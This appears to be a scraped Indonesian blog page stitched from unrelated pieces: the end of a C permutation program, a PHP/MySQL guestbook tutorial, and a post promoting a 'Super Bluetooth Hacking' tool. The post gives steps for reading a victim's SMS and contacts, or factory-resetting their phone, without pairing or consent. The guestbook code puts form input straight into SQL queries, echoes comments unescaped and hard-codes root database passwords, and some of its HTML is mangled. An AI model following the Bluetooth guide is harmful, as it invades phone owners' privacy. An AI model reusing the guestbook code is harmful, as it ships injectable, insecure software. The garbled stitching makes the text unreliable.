{

printf("\nAnda tidak memilih P atau C");

}

}

}

long int faktorial(int N)

{

long int F;

if (N<=1)

{

return(1);

} else {

F = N * faktorial(N-1);

return(F);

}

}

Jika program tersebut dijalankan, salah satu kemungkinan hasilnya adalah sebagai berikut:

Program Menghitung Permutasi atau Kombinasi

nPr atau nCr

Masukkan nilai n : 5

Masukkan nilai r : 3

Pilih P (permutasi) atau C (kombinasi) : p

5P3 = 60

Anda bisa mengembangkan sendiri program di atas, misalnya diberi looping untuk memberi kesempatan pengguna melakukan perhitungan ulang setelah sebuah perhitungan selesai dilakukan.

Selamat mencoba…………………..

Membuat Buku Tamu Dengan PHP

Buku tamu merupakan salah satu fitur standar yang terdapat dalam situs-situs di Internet, terutama situs-situs pribadi. Hampir dapat dipastikan, aplikasi buku tamu akan menggunakan database yang fungsinya adalah menyimpan daftar tamu yang pernah mengunjungi situs tersebut dan memberikan komentarnya. Untuk itu mula-mula kita persiapkan sebuah database – tentu saja menggunakan MySQL – dengan struktur sebagai berikut:



















FieldTipe Data
NamaVarchar(30)
EmailVarchar(40)
KomentarText

Tabel disimpan dengan nama guest, sedangkan databasenya disimpan dengan nama gsbook.

Halaman web yang nantinya dirancang akan memiliki 3 halaman, yaitu halaman form buku tamu, halaman daftar tamu, dan halaman terima kasih.

Halaman form buku tamu akan berisi form untuk pengisian buku tamu.

Halaman daftar tamu akan berisi daftar tamu yang telah mengisi buku tamu.

Halaman terima kasih akan berisi ucapan terima kasih atas diisinya buku tamu.

Kita mulai perancangan kita dari halaman form buku tamu. Halaman form buku tamu berisi form untuk pengisian buku tamu. Pada halaman ini nanti akan ditambahkan suatu skrip yang akan melakukan verifikasi terhadap form yang belum diisi. Skrip halaman form buku tamu selengkapnya diberikan pada listing 1.






Listing 1. Form buku tamu 

<HTML>

<HEAD>

<TITLE> Form </TITLE>

// <!--[CDATA[-->
JavaScript">
// ]]>

function pesan() {

var ceknama = document.forms[0].elements[0].value;

var cekemail = document.forms[0].elements[1].value;

var cekkom = document.forms[0].elements[2].value;

if (ceknama.length == 0) {

window.alert("Anda belum memasukkan nama Anda");

} else {

if ((cekemail.length == 0) || (cekemail.indexOf("@",1) == -1)) {

window.alert("Periksa kembali alamat email Anda");

} else {

if ((cekkom.length == 0)) {

window.alert("Anda belum berkomentar");

} else {

document.forms[0].submit();

}

}

}

}

</SCRIPT>

</HEAD>

<BODY>

Selamat Datang di Situs Kami


Silakan isi identitas Anda

<FORM NAME="identity" METHOD="post" ACTION="guest.php">

<PRE>

Nama : nama">

Email : <INPUT TYPE="text" NAME="email">

Komentar    :

<TEXTAREA NAME="komentar" ROWS=10 COLS=30>

</TEXTAREA>

<INPUT TYPE="button" VALUE="Submit" onClick=pesan()>

</PRE>

</FORM>

</BODY>

</HTML>

Simpanlah file dengan nama bukutamu.html. Halaman form buku tamu akan terlihat seperti gambar 1. Yang perlu diingat adalah bahwa walaupun memiliki ekstensi .html, halaman ini harus tetap dijalankan di virtual direktori dengan mengetikkan http://localhost/direktori/namafile.html di bagian address browser.

Pembahasan dari skrip di atas adalah sebagai berikut: pada bagian head terdapat skrip JavaScript, skrip ini digunakan untuk verifikasi terhadap form yang belum diisi. Skrip tersebut dimulai dari bagian yang bertanda // .

Mula-mula skrip tersebut mengambil nilai dari setiap elemen form. Setelah itu nilai setiap elemen tersebut diperiksa, jika kosong, maka akan muncul peringatan. Bagian berikutnya merupakan form HTML biasa, tetapi pada bagian submit akan ditambahkan sebuah event handler yang mengacu pada skrip JavaScript yang terletak di bagian head sebagai berikut:

<INPUT TYPE="button" VALUE="Submit" onClick=pesan()>

Halaman berikutnya adalah halaman terima kasih. Halaman terima kasih merupakan halaman yang akan menampilkan ucapan terima kasih sekaligus di dalamnya terdapat skrip PHP yang digunakan untuk mengolah data yang dimasukkan pada halaman form buku tamu. Skrip selengkapnya diberikan pada listing 2.






Listing 2. Halaman terima kasih 

<HTML>

<HEAD>

Buku Tamu

</HEAD>

<BODY>

<?

$host = "localhost";

$user = "root";

$pwd = "";

$conn = @mysql_connect ($host, $user, $pwd)

or die ("Koneksi Gagal, karena " . mysql_error());

mysql_select_db("gsbook",$conn);

$strSQL = "INSERT INTO guest (nama,email,komentar)

VALUES ('$_POST[nama]','$_POST[email]','$_POST[komentar]')";

$qry = @mysql_query($strSQL,$conn)

or die ("Query salah, karena: " . mysql_error());

?>

Terima kasih atas kesediaan Anda mengisi buku tamu.


<HR>

Klik di sini untuk melihat daftar para pengisi buku tamu.

</BODY>

</HTML>

Simpanlah file dengan nama guest.php. Halaman terima kasih akan terlihat seperti gambar 2.

Skrip di atas pada prinsipnya hanyalah membuka koneksi ke mysql dan menyimpan data-data yang telah dimasukkan ke dalam tabel. Pada bagian bawah terletak sebuah link yang merujuk pada halaman daftar tamu.

Klik di sini untuk melihat daftar para pengisi buku tamu.

File table.php inilah yang nantinya menampilkan daftar para pengisi buku tamu yang disajikan dalam bentuk tabel. Skrip selengkapnya dari file table.php diberikan pada listing 3.






Listing 3. Halaman daftar tamu 

<HTML>

<HEAD>

Buku Tamu

</HEAD>

<BODY>

<CENTER>

<?

$host = "localhost";

$user = "root";

$pswd = "rahasia";

$conn = @mysql_connect ($host, $user, $pswd)

or die ("Koneksi Gagal: " . mysql_error());

mysql_select_db("gsbook",$conn);

$strSQL = "Select * from guest";

$qry= @mysql_query($strSQL,$conn)

or die ("Query salah: " .  mysql_error());

$jml = mysql_num_rows($qry);

echo "Jumlah pengisi = $jml
";

?>

<TABLE BORDER=1>

<TR>

<TD BGCOLOR=#f32142> Nama </TD>

<TD BGCOLOR=#f32142> Email </TD>

Komentar

</TR>

<?

while ($row = mysql_fetch_array ($qry)) {

echo "<TR>";

echo "" . $row["nama"] . "";

echo "<TD BGCOLOR=#f7efde>" . $row["email"] . "</TD>";

echo "" . $row["komentar"] . "";

echo "</TR>";

}

?>

</TABLE>

</BODY>

</HTML>

Anggap saja buku tamu tersebut telah diisi oleh banyak orang, sehingga jika skrip di atas dijalankan tampilan yang didapatkan kurang lebih seperti pada gambar 3. Nama-nama yang tertera di sana hanya fiktif saja, jadi apabila ternyata ada yang memiliki nama dan email yang sama, itu hanya kebetulan belaka.

Nah, seandainya situs tersebut merupakan situs yang ramai oleh pengunjung dan pengisi buku tamunya banyak, maka menampilkan daftar tamu seperti skrip di atas tentu kurang baik karena halaman tersebut akan menjadi sangat panjang.

Alternatif yang digunakan adalah menampilkan sejumlah record tertentu per halaman dan di bagian bawah halaman terdapat link untuk menuju ke halaman berikutnya atau sebelumnya. Kira-kira seperti hasil search di Google itu lho. Untuk membuat bentuk halaman seperti itu, berikut akan diberikan salah satu contoh skrip alternatifnya. Gantilah isi skrip file table.php dengan skrip seperti pada listing 4.






Listing 4. Halaman daftar tamu alternatif 

<HTML>

<HEAD>

Daftar Tamu

</HEAD>

<BODY>

<CENTER>

<?

$host = "localhost";

$user = "root";

$pswd = "rahasia";

$conn = @mysql_connect ($host,$user, $pswd)

or die ("Koneksi Gagal: " . mysql_error());

mysql_select_db("gsbook",$conn);

$hal = $_REQUEST['hal'];

$batas = ($hal - 1) * 5;

$strSQL1 = "Select * from guest limit $batas,5";

$strSQL2 = "Select * from guest";

$qry = @mysql_query($strSQL1,$conn)

or die ("Query salah: " . mysql_error());

$tot = @mysql_query($strSQL2,$conn)

or die ("Query salah: " .  mysql_error());

$jml = mysql_num_rows($tot);

$kel = $jml/5;

if ($kel==floor($jml/5)){

$page = $kel;

} else {

$page = floor($jml/5)+1;

}

$pct = 100/($page+4);

echo "Jumlah pengisi = $jml
";

echo "Jumlah halaman = $page
";

echo "<HR>";

?>

<TABLE BORDER=1>

<TR>

<TD BGCOLOR=#f32142> Nama </TD>

<TD BGCOLOR=#f32142> Email </TD>

Komentar

</TR>

<?

while ($row = mysql_fetch_array ($qry)) {

echo "<TR>";

echo "<TD BGCOLOR=#f7efde>" . $row["nama"] . "</TD>";

echo "<TD BGCOLOR=#f7efde>" . $row["email"] . "</TD>";

echo "<TD BGCOLOR=#f7efde>" . $row["komentar"] . "</TD>";

echo "</TR>";

}

?>

</TABLE>

<HR>

<TABLE BORDER=0>

<TR>

<?

$lebar=$pct*2;

$prev=$hal-1;

$next=$hal+1;

echo "<TD WIDTH=$lebar"."%>";

if ($hal!=1) {

echo "<A HREF='table.php?hal=$prev'> Prev </A>";

} else {

echo "Prev";

}

echo "</TD>";

for ($i=1;$i<=$page;$i++) {

if ($i==$hal) {

echo "<TD WIDTH=$pct"."%>";

echo "$i";

echo "</TD>";

} else {

echo "<TD WIDTH=$pct"."%>";

echo "<A HREF='table.php?hal=$i'> $i </A>";

echo "</TD>";

}

}

echo "<TD WIDTH=$lebar"."%>";

if ($hal!=$page) {

echo "<A HREF='table.php?hal=$next'> Next </A>";

} else {

echo "Next";

}

echo "</TD>";

?>

</TR>

</TABLE>

</BODY>

</HTML>

Contoh skrip ini menggunakan query string di dalam menentukan halaman mana yang aktif saat itu. Setiap link untuk menuju ke suatu halaman tertentu akan memiliki bentuk seperti ini:

<A HREF=”table.php?hal=$i”>

Variabel $i akan berisi nomor halaman yang dituju.

Karena skrip table.php mengalami sedikit perubahan, maka skrip pada halaman terima kasih (listing 2) perlu dimodifikasi menjadi sebagai berikut:

Klik di sini untuk melihat daftar para pengisi buku tamu.

Mengapa query string “hal” diisi dengan angka 1? Tentu saja agar link tersebut menuju ke halaman 1 dari file table.php.

Nah, hasil run dari skrip table.php yang baru dapat dilihat pada gambar 4.

Wednesday, April 6, 2011

bluetooth buat isengin temen

ingin berbagi sedikit niii!
maaf buat sebelum nya bila para master telah denger atau ngetes tools ni,
ku si nue bie hanya ingin share sedikit buat ilangin suntuk yang melandah jiwa ini..


penat Banged Hari inii...
tanpa banyak omong langsung ja ku bagi ke teman2 sekalian, barang lama tampilan baru... hehehe



super bluetooth hacking
a. Berbasis J2ME, itu artinya kalo mau melakukan kegiatan hacking, aku ga perlu lagi bawa2 laptop... cukup dengan mengintallnya kedalam mobile phone saja..
b. Support diberbagai jenis handphone, yang penting support dengan bahasa java
c. Aplikasinya berukuran kecil.. ringan... dan user friendly
d. No Pairing and No Approvement Code, (artinya bahwa Anda bisa melakukan kegiatan hacking ke bluetooth target tanpa harus mengenalkan bluetooth secara resmi... dan tanpa harus meminta approv,ent dari pemilik Bluetooth)

Remote Fitur yang di sediakan :
. Dapat membaca semua sms yang terdapat didalam inbox handphone
. Dapat membaca isi phonebook
. Dapat mengganti2 profile
. Dapat membunyikan ring tone ketika handphone dalam kondisi silent
. Dapat menjalankan music player
. Dapat merestart dan mematikan handphone (just : switch off)
. Dapat melakukan "Change Factory Setting"
. Dapat memainkan volume ring tone handphone.

klik(super blouetooth 1.07.jar)


Bagaimana menjalankan aplikasi tersebut ???
a. Copykan saja file *.jar kedalam HandPhone Anda.... terserah lu mau pake cara meng-copy nya... bisa pake kabel data... atau mempergunakan bluetooth.
b. Setelah semua file sudah kedalam HandPhone.. disana pasti ada 1 file ekeskuasi dengan nama file "Super Bluetooth Hacking"
c. Pilihlah bacaan tersebut... dan klik "OK"
d. Kemudian akan muncul perintah "Install"... pilih dan setujui... tunggu saja sampai selesai....
e. Biasanya jika proses install sudah selesai... aplikasi akan tertanam di menu berbasis java (masing2 hp berbeda penempatan)
f. Eksekusilah file "Super Bluetooth Hacking" dengan membukanya (Open).
g. Tunggu beberapa saat... dan akan muncul beberapa menu diantaranya : Connect, Setting, About dan Exit
h. Pilihlah Connect ---> Inquiry Devices. silahkan cari blutooth sasaran.. nikmati isi handphonenya....